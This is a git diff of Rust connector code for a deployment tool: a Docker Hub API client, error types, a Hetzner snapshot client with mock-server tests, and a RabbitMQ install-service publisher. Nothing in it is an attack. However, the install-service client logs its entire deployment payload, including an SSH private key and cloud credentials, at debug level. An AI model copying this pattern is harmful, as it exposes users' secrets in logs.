} + } + + async fn write_cache(&self, key: &str, value: &T, ttl: u64) + where + T: Serialize, + { + if let Err(err) = self.cache.set(key, value, ttl).await { + tracing::debug!(error = %err, cache_key = key, "Docker Hub cache write failed"); + } + } + + async fn send_request( + &self, + method: Method, + path: &str, + query: Vec<(String, String)>, + ) -> Result { + let mut attempt = 0usize; + let mut last_error: Option = None; + + while attempt < self.retry_attempts { + attempt += 1; + let mut builder = self + .http_client + .request(method.clone(), format!("{}{}", self.base_url, path)) + .header("User-Agent", &self.user_agent); + + if let Some(auth) = &self.auth_header { + builder = builder.header("Authorization", auth); + } + + if !query.is_empty() { + builder = builder.query(&query); + } + + let span = tracing::info_span!( + "dockerhub_http_request", + path, + attempt, + method = %method, + ); + + match builder.send().instrument(span).await { + Ok(resp) => { + let status = resp.status(); + let text = resp + .text() + .await + .map_err(|err| ConnectorError::HttpError(err.to_string()))?; + + if status.is_success() { + return serde_json::from_str::(&text) + .map_err(|_| ConnectorError::InvalidResponse(text)); + } + + let error = match status { + StatusCode::UNAUTHORIZED | StatusCode::FORBIDDEN => { + ConnectorError::Unauthorized(text) + } + StatusCode::NOT_FOUND => ConnectorError::NotFound(text), + StatusCode::TOO_MANY_REQUESTS => ConnectorError::RateLimited(text), + status if status.is_server_error() => ConnectorError::ServiceUnavailable( + format!("Docker Hub error {}: {}", status, text), + ), + status => ConnectorError::HttpError(format!( + "Docker Hub error {}: {}", + status, text + )), + }; + + if !status.is_server_error() { + return Err(error); + } + last_error = Some(error); + } + Err(err) => { + last_error = Some(ConnectorError::from(err)); + } + } + + if attempt < self.retry_attempts { + let backoff = Duration::from_millis(100 * (1_u64 << (attempt - 1))); + tokio::time::sleep(backoff).await; + } + } + + Err(last_error.unwrap_or_else(|| { + ConnectorError::ServiceUnavailable("Docker Hub request failed".to_string()) + })) + } + + fn parse_repository_response(payload: Value) -> Vec { + Self::extract_items(&payload, &["results", "repositories"]) + .into_iter() + .filter_map(|item| { + let (namespace, name) = Self::resolve_namespace_and_name(&item)?; + + Some(RepositorySummary { + name, + namespace, + description: item + .get("description") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + last_updated: item + .get("last_updated") + .or_else(|| item.get("last_push")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + is_private: item + .get("is_private") + .or_else(|| item.get("private")) + .and_then(|v| v.as_bool()) + .unwrap_or(false), + star_count: item.get("star_count").and_then(|v| v.as_u64()), + pull_count: item.get("pull_count").and_then(|v| v.as_u64()), + }) + }) + .collect() + } + + fn parse_tag_response(payload: Value) -> Vec { + Self::extract_items(&payload, &["results", "tags"]) + .into_iter() + .filter_map(|item| { + let name = item.get("name")?.as_str()?.to_string(); + Some(TagSummary { + name, + digest: item + .get("digest") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + last_updated: item + .get("last_updated") + .or_else(|| item.get("tag_last_pushed")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + tag_status: item + .get("tag_status") + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + content_type: item + .get("content_type") + .or_else(|| item.get("media_type")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()), + }) + }) + .collect() + } + + fn extract_items(payload: &Value, keys: &[&str]) -> Vec { + for key in keys { + if let Some(array) = payload.get(*key).and_then(|value| value.as_array()) { + return array.clone(); + } + } + + payload.as_array().cloned().unwrap_or_default() + } + + fn resolve_namespace_and_name(item: &Value) -> Option<(String, String)> { + let mut namespace = item + .get("namespace") + .or_else(|| item.get("user")) + .or_else(|| item.get("organization")) + .and_then(|v| v.as_str()) + .map(|s| s.to_string()); + + let mut repo_name = item + .get("name") + .and_then(|v| v.as_str()) + .map(|s| s.to_string())?; + + if namespace.as_ref().map(|s| s.is_empty()).unwrap_or(true) { + if let Some(slug) = item + .get("slug") + .or_else(|| item.get("repo_name")) + .and_then(|v| v.as_str()) + { + if let Some((ns, repo)) = slug.split_once('/') { + namespace = Some(ns.to_string()); + repo_name = repo.to_string(); + } + } + } + + if namespace.as_ref().map(|s| s.is_empty()).unwrap_or(true) && repo_name.contains('/') { + if let Some((ns, repo)) = repo_name.split_once('/') { + namespace = Some(ns.to_string()); + repo_name = repo.to_string(); + } + } + + namespace.and_then(|ns| { + if ns.is_empty() { + None + } else { + Some((ns, repo_name)) + } + }) + } +} + +#[async_trait] +impl DockerHubConnector for DockerHubClient { + async fn search_namespaces( + &self, + query: &str, + ) -> Result, ConnectorError> { + let cache_key = format!("dockerhub:namespaces:{}", Self::cache_suffix(query)); + if let Some(cached) = self.read_cache::>(&cache_key).await { + return Ok(cached); + } + + let mut query_params = vec![("page_size".to_string(), self.page_size.to_string())]; + let trimmed = query.trim(); + if !trimmed.is_empty() { + query_params.push(("query".to_string(), trimmed.to_string())); + } + + let payload = self + .send_request(Method::GET, "/v2/search/repositories/", query_params) + .await?; + let repositories = Self::parse_repository_response(payload); + + let mut seen = HashSet::new(); + let mut namespaces = Vec::new(); + for repo in repositories { + if repo.namespace.is_empty() || !seen.insert(repo.namespace.clone()) { + continue; + } + + namespaces.push(NamespaceSummary { + name: repo.namespace.clone(), + namespace_type: None, + description: repo.description.clone(), + is_user: false, + is_organization: false, + }); + } + + self.write_cache(&cache_key, &namespaces, self.cache_ttls.namespaces) + .await; + Ok(namespaces) + } + + async fn list_repositories( + &self, + namespace: &str, + query: Option<&str>, + ) -> Result, ConnectorError> { + let cache_key = format!( + "dockerhub:repos:{}:{}", + Self::cache_suffix(namespace), + Self::cache_suffix(query.unwrap_or_default()) + ); + + if let Some(cached) = self.read_cache::>(&cache_key).await { + return Ok(cached); + } + + let mut query_params = vec![("page_size".to_string(), self.page_size.to_string())]; + if let Some(filter) = query { + let trimmed = filter.trim(); + if !trimmed.is_empty() { + query_params.push(("name".to_string(), trimmed.to_string())); + } + } + + let path = format!( + "/v2/namespaces/{}/repositories", + Self::encode_segment(namespace) + ); + + let payload = self.send_request(Method::GET, &path, query_params).await?; + let repositories = Self::parse_repository_response(payload); + self.write_cache(&cache_key, &repositories, self.cache_ttls.repositories) + .await; + Ok(repositories) + } + + async fn list_tags( + &self, + namespace: &str, + repository: &str, + query: Option<&str>, + ) -> Result, ConnectorError> { + let cache_key = format!( + "dockerhub:tags:{}:{}:{}", + Self::cache_suffix(namespace), + Self::cache_suffix(repository), + Self::cache_suffix(query.unwrap_or_default()) + ); + + if let Some(cached) = self.read_cache::>(&cache_key).await { + return Ok(cached); + } + + let mut query_params = vec![("page_size".to_string(), self.page_size.to_string())]; + if let Some(filter) = query { + let trimmed = filter.trim(); + if !trimmed.is_empty() { + query_params.push(("name".to_string(), trimmed.to_string())); + } + } + + let path = format!( + "/v2/namespaces/{}/repositories/{}/tags", + Self::encode_segment(namespace), + Self::encode_segment(repository) + ); + + let payload = self.send_request(Method::GET, &path, query_params).await?; + let tags = Self::parse_tag_response(payload); + self.write_cache(&cache_key, &tags, self.cache_ttls.tags) + .await; + Ok(tags) + } +} + +/// Initialize Docker Hub connector from app settings +pub async fn init(connector_config: &ConnectorConfig) -> web::Data> { + let connector: Arc = if let Some(config) = connector_config + .dockerhub_service + .as_ref() + .filter(|cfg| cfg.enabled) + { + let mut cfg = config.clone(); + + if cfg.username.is_none() { + cfg.username = std::env::var("DOCKERHUB_USERNAME").ok(); + } + + if cfg.personal_access_token.is_none() { + cfg.personal_access_token = std::env::var("DOCKERHUB_TOKEN").ok(); + } + + if cfg.redis_url.is_none() { + cfg.redis_url = std::env::var("DOCKERHUB_REDIS_URL") + .ok() + .or_else(|| std::env::var("REDIS_URL").ok()); + } + + match DockerHubClient::new(cfg.clone()).await { + Ok(client) => { + tracing::info!("Docker Hub connector initialized ({})", cfg.base_url); + Arc::new(client) + } + Err(err) => { + tracing::error!( + error = %err, + "Failed to initialize Docker Hub connector, falling back to mock" + ); + Arc::new(mock::MockDockerHubConnector::default()) + } + } + } else { + tracing::warn!("Docker Hub connector disabled - using mock responses"); + Arc::new(mock::MockDockerHubConnector::default()) + }; + + web::Data::new(connector) +} + +pub mod mock { + use super::*; + + #[derive(Default)] + pub struct MockDockerHubConnector; + + #[async_trait] + impl DockerHubConnector for MockDockerHubConnector { + async fn search_namespaces( + &self, + query: &str, + ) -> Result, ConnectorError> { + let mut namespaces = vec![ + NamespaceSummary { + name: "trydirect".to_string(), + namespace_type: Some("organization".to_string()), + description: Some("TryDirect maintained images".to_string()), + is_user: false, + is_organization: true, + }, + NamespaceSummary { + name: "stacker-labs".to_string(), + namespace_type: Some("organization".to_string()), + description: Some("Stacker lab images".to_string()), + is_user: false, + is_organization: true, + }, + NamespaceSummary { + name: "dev-user".to_string(), + namespace_type: Some("user".to_string()), + description: Some("Individual maintainer".to_string()), + is_user: true, + is_organization: false, + }, + ]; + + let needle = query.trim().to_lowercase(); + if !needle.is_empty() { + namespaces.retain(|ns| ns.name.to_lowercase().contains(&needle)); + } + Ok(namespaces) + } + + async fn list_repositories( + &self, + namespace: &str, + query: Option<&str>, + ) -> Result, ConnectorError> { + let mut repositories = vec![ + RepositorySummary { + name: "stacker-api".to_string(), + namespace: namespace.to_string(), + description: Some("Stacker API service".to_string()), + last_updated: Some("2026-01-01T00:00:00Z".to_string()), + is_private: false, + star_count: Some(42), + pull_count: Some(10_000), + }, + RepositorySummary { + name: "agent-runner".to_string(), + namespace: namespace.to_string(), + description: Some("Agent runtime image".to_string()), + last_updated: Some("2026-01-03T00:00:00Z".to_string()), + is_private: false, + star_count: Some(8), + pull_count: Some(1_200), + }, + ]; + + if let Some(filter) = query { + let needle = filter.trim().to_lowercase(); + if !needle.is_empty() { + repositories.retain(|repo| repo.name.to_lowercase().contains(&needle)); + } + } + Ok(repositories) + } + + async fn list_tags( + &self, + _namespace: &str, + repository: &str, + query: Option<&str>, + ) -> Result, ConnectorError> { + let mut tags = vec![ + TagSummary { + name: "latest".to_string(), + digest: Some(format!("sha256:{:x}", 1)), + last_updated: Some("2026-01-03T12:00:00Z".to_string()), + tag_status: Some("active".to_string()), + content_type: Some( + "application/vnd.docker.distribution.manifest.v2+json".to_string(), + ), + }, + TagSummary { + name: "v1.2.3".to_string(), + digest: Some(format!("sha256:{:x}", 2)), + last_updated: Some("2026-01-02T08:00:00Z".to_string()), + tag_status: Some("active".to_string()), + content_type: Some( + "application/vnd.docker.distribution.manifest.v2+json".to_string(), + ), + }, + ]; + + let needle = query.unwrap_or_default().trim().to_lowercase(); + if !needle.is_empty() { + tags.retain(|tag| tag.name.to_lowercase().contains(&needle)); + } + + // Slightly mutate digests to include repository so tests can differentiate + for (idx, tag) in tags.iter_mut().enumerate() { + if tag.digest.is_some() { + tag.digest = Some(format!( + "sha256:{:x}{}", + idx, + repository + .to_lowercase() + .chars() + .take(4) + .collect::() + )); + } + } + + Ok(tags) + } + } +} diff --git a/stacker/stacker/src/connectors/errors.rs b/stacker/stacker/src/connectors/errors.rs new file mode 100644 index 0000000..6b521b5 --- /dev/null +++ b/stacker/stacker/src/connectors/errors.rs @@ -0,0 +1,81 @@ +use actix_web::{error::ResponseError, http::StatusCode, HttpResponse}; +use serde_json::json; +use std::fmt; + +/// Errors that can occur during external service communication +#[derive(Debug)] +pub enum ConnectorError { + /// HTTP request/response error + HttpError(String), + /// Service unreachable or timeout + ServiceUnavailable(String), + /// Invalid response format from external service + InvalidResponse(String), + /// Authentication error (401/403) + Unauthorized(String), + /// Not found (404) + NotFound(String), + /// Rate limited or exceeded quota + RateLimited(String), + /// Internal error in connector + Internal(String), +} + +impl fmt::Display for ConnectorError { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Self::HttpError(msg) => write!(f, "HTTP error: {}", msg), + Self::ServiceUnavailable(msg) => write!(f, "Service unavailable: {}", msg), + Self::InvalidResponse(msg) => write!(f, "Invalid response: {}", msg), + Self::Unauthorized(msg) => write!(f, "Unauthorized: {}", msg), + Self::NotFound(msg) => write!(f, "Not found: {}", msg), + Self::RateLimited(msg) => write!(f, "Rate limited: {}", msg), + Self::Internal(msg) => write!(f, "Internal error: {}", msg), + } + } +} + +impl ResponseError for ConnectorError { + fn error_response(&self) -> HttpResponse { + let (status, message) = match self { + Self::HttpError(_) => (StatusCode::BAD_GATEWAY, "External service error"), + Self::ServiceUnavailable(_) => (StatusCode::SERVICE_UNAVAILABLE, "Service unavailable"), + Self::InvalidResponse(_) => { + (StatusCode::BAD_GATEWAY, "Invalid external service response") + } + Self::Unauthorized(_) => (StatusCode::UNAUTHORIZED, "Unauthorized"), + Self::NotFound(_) => (StatusCode::NOT_FOUND, "Resource not found"), + Self::RateLimited(_) => (StatusCode::TOO_MANY_REQUESTS, "Rate limit exceeded"), + Self::Internal(_) => (StatusCode::INTERNAL_SERVER_ERROR, "Internal error"), + }; + + HttpResponse::build(status).json(json!({ + "error": message, + "details": self.to_string(), + })) + } + + fn status_code(&self) -> StatusCode { + match self { + Self::HttpError(_) => StatusCode::BAD_GATEWAY, + Self::ServiceUnavailable(_) => StatusCode::SERVICE_UNAVAILABLE, + Self::InvalidResponse(_) => StatusCode::BAD_GATEWAY, + Self::Unauthorized(_) => StatusCode::UNAUTHORIZED, + Self::NotFound(_) => StatusCode::NOT_FOUND, + Self::RateLimited(_) => StatusCode::TOO_MANY_REQUESTS, + Self::Internal(_) => StatusCode::INTERNAL_SERVER_ERROR, + } + } +} + +impl From for ConnectorError { + fn from(err: reqwest::Error) -> Self { + if err.is_timeout() { + Self::ServiceUnavailable(format!("Request timeout: {}", err)) + } else if err.is_connect() { + Self::ServiceUnavailable(format!("Connection failed: {}", err)) + } else { + Self::HttpError(err.to_string()) + } + } +} diff --git a/stacker/stacker/src/connectors/hetzner.rs b/stacker/stacker/src/connectors/hetzner.rs new file mode 100644 index 0000000..863d387 --- /dev/null +++ b/stacker/stacker/src/connectors/hetzner.rs @@ -0,0 +1,311 @@ +//! Hetzner Cloud connector. +//! +//! Keep all Hetzner API calls behind this trait so MCP/routes can be tested +//! without touching real infrastructure. + +use async_trait::async_trait; +use serde::{Deserialize, Serialize}; +use serde_json::json; +use std::time::Duration; + +use crate::connectors::ConnectorError; + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct HetznerSnapshotTarget { + pub provider_server_id: Option, + pub server_name: Option, + pub public_ip: Option, +} + +#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)] +pub struct HetznerSnapshot { + pub action_id: i64, + pub status: String, + pub image_id: Option, +} + +#[async_trait] +pub trait HetznerCloudConnector: Send + Sync { + async fn create_server_snapshot( + &self, + token: &str, + target: HetznerSnapshotTarget, + description: &str, + ) -> Result; +} + +#[derive(Clone)] +pub struct HetznerCloudClient { + http_client: reqwest::Client, + base_url: String, +} + +impl HetznerCloudClient { + pub fn new(base_url: impl Into) -> Result { + let http_client = reqwest::Client::builder() + .connect_timeout(Duration::from_secs(10)) + .timeout(Duration::from_secs(45)) + .build() + .map_err(ConnectorError::from)?; + Ok(Self { + http_client, + base_url: base_url.into().trim_end_matches("/").to_string(), + }) + } + + pub fn from_env() -> Result { + let base_url = std::env::var("HETZNER_API_BASE_URL") + .unwrap_or_else(|_| "https://api.hetzner.cloud/v1".to_string()); + Self::new(base_url) + } + + async fn resolve_server_id( + &self, + token: &str, + target: &HetznerSnapshotTarget, + ) -> Result { + if let Some(id) = target.provider_server_id { + return Ok(id); + } + + let response = self + .http_client + .get(format!("{}/servers", self.base_url)) + .bearer_auth(token) + .send() + .await + .map_err(ConnectorError::from)?; + let status = response.status(); + if !status.is_success() { + return Err(status_to_error(status, "Hetzner server lookup failed")); + } + + let body: HetznerServersResponse = response + .json() + .await + .map_err(|err| ConnectorError::InvalidResponse(err.to_string()))?; + find_matching_hetzner_server(&body.servers, target) + .map(|server| server.id) + .ok_or_else(|| { + ConnectorError::NotFound( + "No Hetzner server matched the saved Stacker server name or public IP" + .to_string(), + ) + }) + } +} + +#[async_trait] +impl HetznerCloudConnector for HetznerCloudClient { + async fn create_server_snapshot( + &self, + token: &str, + target: HetznerSnapshotTarget, + description: &str, + ) -> Result { + let server_id = self.resolve_server_id(token, &target).await?; + let response = self + .http_client + .post(format!( + "{}/servers/{}/actions/create_image", + self.base_url, server_id + )) + .bearer_auth(token) + .json(&json!({ + "type": "snapshot", + "description": description, + })) + .send() + .await + .map_err(ConnectorError::from)?; + + let status = response.status(); + if !status.is_success() { + return Err(status_to_error(status, "Hetzner snapshot request failed")); + } + + let body: HetznerCreateImageResponse = response + .json() + .await + .map_err(|err| ConnectorError::InvalidResponse(err.to_string()))?; + let image_id = body + .action + .resources + .iter() + .find(|resource| resource.resource_type == "image") + .map(|resource| resource.id); + + Ok(HetznerSnapshot { + action_id: body.action.id, + status: body.action.status, + image_id, + }) + } +} + +fn status_to_error(status: reqwest::StatusCode, message: &str) -> ConnectorError { + match status.as_u16() { + 401 | 403 => { + ConnectorError::Unauthorized("Hetzner rejected the saved cloud token".to_string()) + } + 404 => ConnectorError::NotFound(message.to_string()), + 429 => ConnectorError::RateLimited("Hetzner API rate limit exceeded".to_string()), + _ => ConnectorError::HttpError(format!("{} with status {}", message, status.as_u16())), + } +} + +fn find_matching_hetzner_server<'a>( + servers: &'a [HetznerServer], + target: &HetznerSnapshotTarget, +) -> Option<&'a HetznerServer> { + let expected_ip = target + .public_ip + .as_deref() + .filter(|value| !value.trim().is_empty()); + let expected_name = target + .server_name + .as_deref() + .filter(|value| !value.trim().is_empty()); + + servers.iter().find(|server| { + expected_ip.is_some_and(|ip| hetzner_server_ip(server) == Some(ip)) + || expected_name.is_some_and(|name| server.name == name) + }) +} + +fn hetzner_server_ip(server: &HetznerServer) -> Option<&str> { + server + .public_net + .as_ref() + .and_then(|net| net.ipv4.as_ref()) + .map(|ipv4| ipv4.ip.as_str()) +} + +#[derive(Debug, Deserialize)] +struct HetznerServersResponse { + servers: Vec, +} + +#[derive(Debug, Deserialize)] +struct HetznerServer { + id: i64, + name: String, + #[serde(default)] + public_net: Option, +} + +#[derive(Debug, Deserialize)] +struct HetznerServerPublicNet { + #[serde(default)] + ipv4: Option, +} + +#[derive(Debug, Deserialize)] +struct HetznerServerIpv4 { + ip: String, +} + +#[derive(Debug, Deserialize)] +struct HetznerCreateImageResponse { + action: HetznerAction, +} + +#[derive(Debug, Deserialize)] +struct HetznerAction { + id: i64, + status: String, + #[serde(default)] + resources: Vec, +} + +#[derive(Debug, Deserialize)] +struct HetznerActionResource { + id: i64, + #[serde(rename = "type")] + resource_type: String, +} + +#[cfg(test)] +mod tests { + use super::*; + use wiremock::matchers::{body_partial_json, header, method, path}; + use wiremock::{Mock, MockServer, ResponseTemplate}; + + #[tokio::test] + async fn create_snapshot_resolves_server_by_public_ip_without_live_api() { + let api = MockServer::start().await; + Mock::given(method("GET")) + .and(path("/servers")) + .and(header("authorization", "Bearer test-token")) + .respond_with(ResponseTemplate::new(200).set_body_json(json!({ + "servers": [{ + "id": 123, + "name": "prod-web-1", + "public_net": { "ipv4": { "ip": "203.0.113.10" } } + }] + }))) + .mount(&api) + .await; + Mock::given(method("POST")) + .and(path("/servers/123/actions/create_image")) + .and(header("authorization", "Bearer test-token")) + .and(body_partial_json(json!({"type": "snapshot"}))) + .respond_with(ResponseTemplate::new(201).set_body_json(json!({ + "action": { + "id": 777, + "status": "running", + "resources": [{"id": 888, "type": "image"}] + } + }))) + .mount(&api) + .await; + + let client = HetznerCloudClient::new(api.uri()).unwrap(); + let snapshot = client + .create_server_snapshot( + "test-token", + HetznerSnapshotTarget { + provider_server_id: None, + server_name: None, + public_ip: Some("203.0.113.10".to_string()), + }, + "Stacker troubleshooting snapshot", + ) + .await + .unwrap(); + + assert_eq!(snapshot.action_id, 777); + assert_eq!(snapshot.image_id, Some(888)); + assert_eq!(snapshot.status, "running"); + } + + #[tokio::test] + async fn create_snapshot_can_use_known_provider_server_id() { + let api = MockServer::start().await; + Mock::given(method("POST")) + .and(path("/servers/456/actions/create_image")) + .and(header("authorization", "Bearer test-token")) + .respond_with(ResponseTemplate::new(201).set_body_json(json!({ + "action": { "id": 778, "status": "running", "resources": [] } + }))) + .mount(&api) + .await; + + let client = HetznerCloudClient::new(api.uri()).unwrap(); + let snapshot = client + .create_server_snapshot( + "test-token", + HetznerSnapshotTarget { + provider_server_id: Some(456), + server_name: None, + public_ip: None, + }, + "Stacker troubleshooting snapshot", + ) + .await + .unwrap(); + + assert_eq!(snapshot.action_id, 778); + assert_eq!(snapshot.image_id, None); + } +} diff --git a/stacker/stacker/src/connectors/install_service/client.rs b/stacker/stacker/src/connectors/install_service/client.rs new file mode 100644 index 0000000..ac474ce --- /dev/null +++ b/stacker/stacker/src/connectors/install_service/client.rs @@ -0,0 +1,197 @@ +use super::InstallServiceConnector; +use crate::forms::cloud_firewall; +use crate::forms::project::{RegistryForm, Stack}; +use crate::forms::{CloudFirewallOperationMessage, ConfigureCloudFirewallResponse}; +use crate::helpers::{compressor::compress, MqManager}; +use crate::models; +use async_trait::async_trait; + +/// Real implementation that publishes deployment requests through RabbitMQ +pub struct InstallServiceClient; + +fn normalize_server_region_for_installer(provider: &str, server: &mut crate::forms::ServerForm) { + if !matches!(provider, "htz" | "hetzner") { + return; + } + + let Some(region) = server.region.as_deref() else { + return; + }; + + let location = match region { + "nbg1-dc3" => "nbg1", + "fsn1-dc14" => "fsn1", + "hel1-dc2" => "hel1", + "ash-dc1" => "ash", + "hil-dc1" => "hil", + _ => return, + }; + + server.region = Some(location.to_string()); +} + +#[cfg(test)] +mod tests { + use super::normalize_server_region_for_installer; + use crate::forms::ServerForm; + + #[test] + fn preserves_hetzner_location_for_installer() { + let mut server = ServerForm { + region: Some("nbg1".to_string()), + server: Some("cpx21".to_string()), + os: Some("docker-ce".to_string()), + ..Default::default() + }; + + normalize_server_region_for_installer("htz", &mut server); + + assert_eq!(server.region.as_deref(), Some("nbg1")); + assert_eq!(server.server.as_deref(), Some("cpx21")); + assert_eq!(server.os.as_deref(), Some("docker-ce")); + } + + #[test] + fn normalizes_hetzner_datacenter_to_location_for_installer() { + let mut server = ServerForm { + region: Some("fsn1-dc14".to_string()), + ..Default::default() + }; + + normalize_server_region_for_installer("htz", &mut server); + + assert_eq!(server.region.as_deref(), Some("fsn1")); + } + + #[test] + fn leaves_non_hetzner_regions_unchanged() { + let mut server = ServerForm { + region: Some("fra1".to_string()), + ..Default::default() + }; + + normalize_server_region_for_installer("do", &mut server); + + assert_eq!(server.region.as_deref(), Some("fra1")); + } +} + +#[async_trait] +impl InstallServiceConnector for InstallServiceClient { + async fn deploy( + &self, + user_id: String, + user_email: String, + project_id: i32, + deployment_id: i32, + deployment_hash: String, + project: &models::Project, + cloud_creds: models::Cloud, + server: models::Server, + form_stack: &Stack, + registry: Option, + fc: String, + mq_manager: &MqManager, + server_public_key: Option, + server_private_key: Option, + ) -> Result { + // Build payload for the install service + let mut payload = crate::forms::project::Payload::try_from(project) + .map_err(|err| format!("Failed to build payload: {}", err))?; + + payload.id = Some(deployment_id); + // Force-set deployment_hash in case deserialization overwrote it + payload.deployment_hash = Some(deployment_hash.clone()); + + // Determine routing before server is moved into payload: + // If server has an existing IP, deploy to it directly (own flow). + // Otherwise, use the cloud provider to decide (own vs tfa). + let has_existing_ip = server.srv_ip.as_ref().map_or(false, |ip| !ip.is_empty()); + + payload.server = Some(server.into()); + // Inject newly-generated public key so Install Service can append it to authorized_keys + if let Some(ref mut srv) = payload.server { + normalize_server_region_for_installer(&cloud_creds.provider, srv); + if srv.public_key.is_none() { + srv.public_key = server_public_key; + } + // Include the SSH private key so the Install Service can SSH into + // existing servers without relying on Redis-cached file paths. + if srv.ssh_private_key.is_none() { + srv.ssh_private_key = server_private_key; + } + } + payload.cloud = Some(cloud_creds.into()); + payload.stack = form_stack.clone().into(); + payload.user_token = Some(user_id); + payload.user_email = Some(user_email); + payload.docker_compose = Some(compress(fc.as_str())); + payload.registry = registry; + + tracing::debug!( + "Send project data (deployment_hash = {:?}): {:?}", + payload.deployment_hash, + payload + ); + + let provider = if has_existing_ip { + // Server already has an IP → deploy to existing server via SSH (own flow) + tracing::info!("Server has existing IP, routing to 'own' flow"); + "own" + } else { + // No IP → provision new server via cloud provider (tfa or own) + payload + .cloud + .as_ref() + .map(|form| { + if form.provider.contains("own") { + "own" + } else { + "tfa" + } + }) + .unwrap_or("tfa") + } + .to_string(); + + let routing_key = format!("install.start.{}.all.all", provider); + tracing::debug!("Route: {:?}", routing_key); + + mq_manager + .publish("install".to_string(), routing_key, &payload) + .await + .map_err(|err| format!("Failed to publish to MQ: {}", err))?; + + Ok(project_id) + } + + async fn configure_cloud_firewall( + &self, + message: CloudFirewallOperationMessage, + mq_manager: &MqManager, + ) -> Result { + let routing_key = cloud_firewall::routing_key(&message.target.provider) + .ok_or_else(|| format!("Unsupported cloud provider: {}", message.target.provider))?; + + mq_manager + .publish("install".to_string(), routing_key.clone(), &message) + .await + .map_err(|err| format!("Failed to publish cloud firewall operation to MQ: {}", err))?; + + Ok(ConfigureCloudFirewallResponse { + operation_id: message.operation_id, + accepted: true, + protocol_version: message.protocol_version, + provider: cloud_firewall::normalize_provider(&message.target.provider) + .unwrap_or(message.target.provider.as_str()) + .to_string(), + server_id: message.target.server_id, + action: message.action, + rules: message.rules, + routing_key, + message: "Cloud firewall operation accepted".to_string(), + firewall_name: None, + firewall: None, + }) + } +} diff --git a/stacker/stacker/src/connectors/install_service/init.rs b/stacker/stacker/src/connectors/install_service/init.rs new file mode 100644 index 0000000..9afdb75 --- /dev/null +++ b/stacker/stacker/src/connectors/install_service/init.rs @@ -0,0 +1,22 @@ +use actix_web::web; +use std::sync::Arc; + +use crate::connectors::config::ConnectorConfig; + +use super::{InstallServiceClient, InstallServiceConnector, MockInstallServiceConnector}; + +pub fn init(connector_config: &ConnectorConfig) -> web::Data> { + let connector: Arc = if connector_config + .install_service + .as_ref() + .map(|cfg| cfg.enabled) + .unwrap_or(true) + { + Arc::new(InstallServiceClient) + } else { + tracing::warn!("Install Service connector disabled - using mock"); + Arc::new(MockInstallServiceConnector) + }; + + web::Data::new(connector) +} diff --git a/stacker/stacker/src/connectors/install_service/mock.rs b/stacker/stacker/src/connectors/install_service/mock.rs new file mode 100644 index 0000000..1edce00 --- /dev/null +++ b/stacker/stacker/src/connectors/install_service/mock.rs @@ -0,0 +1,57 @@ +use super::InstallServiceConnector; +use crate::forms::cloud_firewall; +use crate::forms::project::{RegistryForm, Stack}; +use crate::forms::{CloudFirewallOperationMessage, ConfigureCloudFirewallResponse}; +use crate::helpers::MqManager; +use crate::models; +use async_trait::async_trait; + +pub struct MockInstallServiceConnector; + +#[async_trait] +impl InstallServiceConnector for MockInstallServiceConnector { + async fn deploy( + &self, + _user_id: String, + _user_email: String, + project_id: i32, + _deployment_id: i32, + _deployment_hash: String, + _project: &models::Project, + _cloud_creds: models::Cloud, + _server: models::Server, + _form_stack: &Stack, + _registry: Option, + _fc: String, + _mq_manager: &MqManager, + _server_public_key: Option, + _server_private_key: Option, + ) -> Result { + Ok(project_id) + } + + async fn configure_cloud_firewall( + &self, + message: CloudFirewallOperationMessage, + _mq_manager: &MqManager, + ) -> Result { + let routing_key = cloud_firewall::routing_key(&message.target.provider) + .ok_or_else(|| format!("Unsupported cloud provider: {}", message.target.provider))?; + + Ok(ConfigureCloudFirewallResponse { + operation_id: message.operation_id, + accepted: true, + protocol_version: message.protocol_version, + provider: cloud_firewall::normalize_provider(&message.target.provider) + .unwrap_or(message.target.provider.as_str()) + .to_string(), + server_id: message.target.server_id, + action: message.action, + rules: message.rules, + routing_key, + message: "Cloud firewall operation accepted".to_string(), + firewall_name: None, + firewall: None, + }) + } +} diff --git a/stacker/stacker/src/connectors/install_service/mod.rs b/stacker/stacker/src/connectors/install_service/mod.rs new file mode 100644 index 0000000..3979f11 --- /dev/null +++ b/stacker/stacker/src/connectors/install_service/mod.rs @@ -0,0 +1,45 @@ +//! Install Service connector module +//! +//! Provides abstractions for delegating deployments to the external install service. + +use crate::forms::project::{RegistryForm, Stack}; +use crate::forms::{CloudFirewallOperationMessage, ConfigureCloudFirewallResponse}; +use crate::helpers::MqManager; +use crate::models; +use async_trait::async_trait; + +pub mod client; +pub mod init; +pub mod mock; + +pub use client::InstallServiceClient; +pub use init::init; +pub use mock::MockInstallServiceConnector; + +#[async_trait] +pub trait InstallServiceConnector: Send + Sync { + /// Deploy a project using compose file and credentials via the install service + async fn deploy( + &self, + user_id: String, + user_email: String, + project_id: i32, + deployment_id: i32, + deployment_hash: String, + project: &models::Project, + cloud_creds: models::Cloud, + server: models::Server, + form_stack: &Stack, + registry: Option, + fc: String, + mq_manager: &MqManager, + server_public_key: Option, + server_private_key: Option, + ) -> Result; + + async fn configure_cloud_firewall( + &self, + message: CloudFirewallOperationMessage, + mq_manager: &MqManager, + ) -> Result; +} diff --git a/stacker/stacker/src/connectors/mod.rs b/stacker/stacker/src/connectors/mod.rs new file mode 100644 index 0000000..7811793 --- /dev/null +++ b/stacker/stacker/src/connectors/mod.rs @@ -0,0 +1,77 @@ +//! External Service Connectors +//! +//! This module provides adapters for communicating with external services (User Service, Payment Service, etc.). +//! All external integrations must go through connectors to keep Stacker independent and testable. +//! +//! ## Architecture Pattern +//! +//! 1. Define trait in `{service}.rs` → allows mocking in tests +//! 2. Implement HTTP client in same file +//! 3. Configuration in `config.rs` → enable/disable per environment +//! 4. Inject trait object into routes → routes never depend on HTTP implementation +//! +//! ## Usage in Routes +//! +//! ```ignore +//! // In route handler +//! pub async fn deploy_template( +//! connector: web::Data>, +//! ) -> Result { +//! // Routes use trait methods, never care about HTTP details +//! connector.create_stack_from_template(...).await?; +//! } +//! ``` +//! +//! ## Testing +//! +//! ```ignore +//! #[cfg(test)] +//! mod tests { +//! use super::*; +//! use 